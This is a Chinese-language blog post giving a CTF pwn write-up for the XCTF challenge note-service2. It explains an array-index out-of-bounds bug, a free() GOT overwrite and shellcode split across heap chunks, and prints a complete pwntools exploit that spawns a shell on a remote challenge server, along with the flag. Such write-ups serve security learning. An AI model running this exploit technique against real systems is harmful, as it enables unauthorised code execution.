欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XCTF note-service2

程序员文章站 2022-05-15 19:31:12
...

查程序保护机制
XCTF note-service2
开启了PIE和CANARRY
没有开启NX,堆栈具有可执行权限

IDA64载入程序,查看main函数
XCTF note-service2
重点分析sub_E30();
XCTF note-service2
经过分析得知sub_C56()是一个输出提示信息的函数,sub_B91()是获取用户输入值的函数
sub_DC1();sub_DD4();这两个函数的功能未完成
仅实现了sub_CA5();sub_DE7();这两个函数,这两个函数实现了添加和删除的功能
先分析sub_CA5()
XCTF note-service2
通过分析得知v1是用户可控的,v1又是qword_2020A0这个数组的下标,所以这里存在数组下标越界漏洞,那么就造成我们可以把任意地址的8个字节覆写为我们申请的堆地址指针,通过数组下标越界我们可以修改got表里的内容为堆指针,程序未开启NX,所以我们可以在堆上布置shellcode;但是这里malloc的参数最高为8个字节,实际上根据我们仅可以写入7个字节
XCTF note-service2
然而没有7个字节的shellcode,所以我们要对shellcode进行分割,存储在多个堆中,每个堆最后用两个字节(jmp short 0x000)跳转到下一段shellcode
Jmp short xxxx指令占用2字节,这条指令使用的是相对当前指令的下一条指令位置寻址的
我们创建堆是按照顺序来创建的,中间没有删除堆的操作,并且统一申请8字节的空间。
但是实际上根据64位系统堆的数据结构,至少有prev_size、size、fd、bk的空间,实际上的大小为8字节对齐到32字节。使用中的堆块的fd和bk被当成数据区,因此我们的数据是从fd这里开始的,但是因为程序的限制我们只能使用fd的8个字节(实际上我们可控的只有7个字节),导致后面的bk为0x8个字节的空数据。
XCTF note-service2
每个chunk只有5个字节可以用来构造shellcode
上图中的0x19是通过(0x1 + 0x8 + 0x8 + 0x8)计算得到的
构造shellcode

;64位系统调用
mov rdi,xxxx;"/bin/sh"的地址
mov rax,0x3b;execve系统调用号
mov rsi,0
mov rdx,0
sycall

exp

#coding:utf8
from pwn import *
context.update(arch = 'amd64')
#cyberpeace{7671a4843dece62455ac8c90814e0205}
p = remote('111.198.29.45',40984)
#context.log_level = 'debug'

def add(index,content):
    p.recvuntil('your choice>>')
    p.sendline('1')
    p.recvuntil('index')
    p.sendline(str(index))
    p.recvuntil('size')
    p.sendline(str(8))    
    p.recvuntil('content')
    p.send(content)

def delete(index):
	p.recvuntil('your choice>>')
	p.sendline('4')
	p.recvuntil('index:')
	p.sendline(str(index))

"""
;64位系统调用
mov rdi,xxxx;"/bin/sh"的地址
mov rax,0x3b;execve系统调用号
mov rsi,0
mov rdx,0
sycall
"""
add(0,'/bin/sh')# 向第一个chunk中写入/bin/sh
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
#把got表中free函数的指针覆盖为第二个chunk的指针
#然后在第二个chunk中写入
#xor rsi,rsi
#nop
#nop
#jmp 0x19
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xeb\x19')
#mov rax,0x3b的机器码站7个字节,而push 0x3b;pop rax只占3个字节
#push 0x3b
#pop rax
#nop
#nop
#jmp 0x19
add(2,asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
#
add(3,asm('syscall')+'\x90'*5)

delete(0)
#因为got表的free函数的地址被修改为我们第二个chunk的地址了,
#所以我们调用free的时候就跳转到了我们第二个chunk的数据段,
#因为这是一个64位程序的函数调用,所以程序会把我们第一个chunk的数据区的指针放入RDI;
#在64位的程序中,当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

p.interactive()
相关标签: CTF-PWN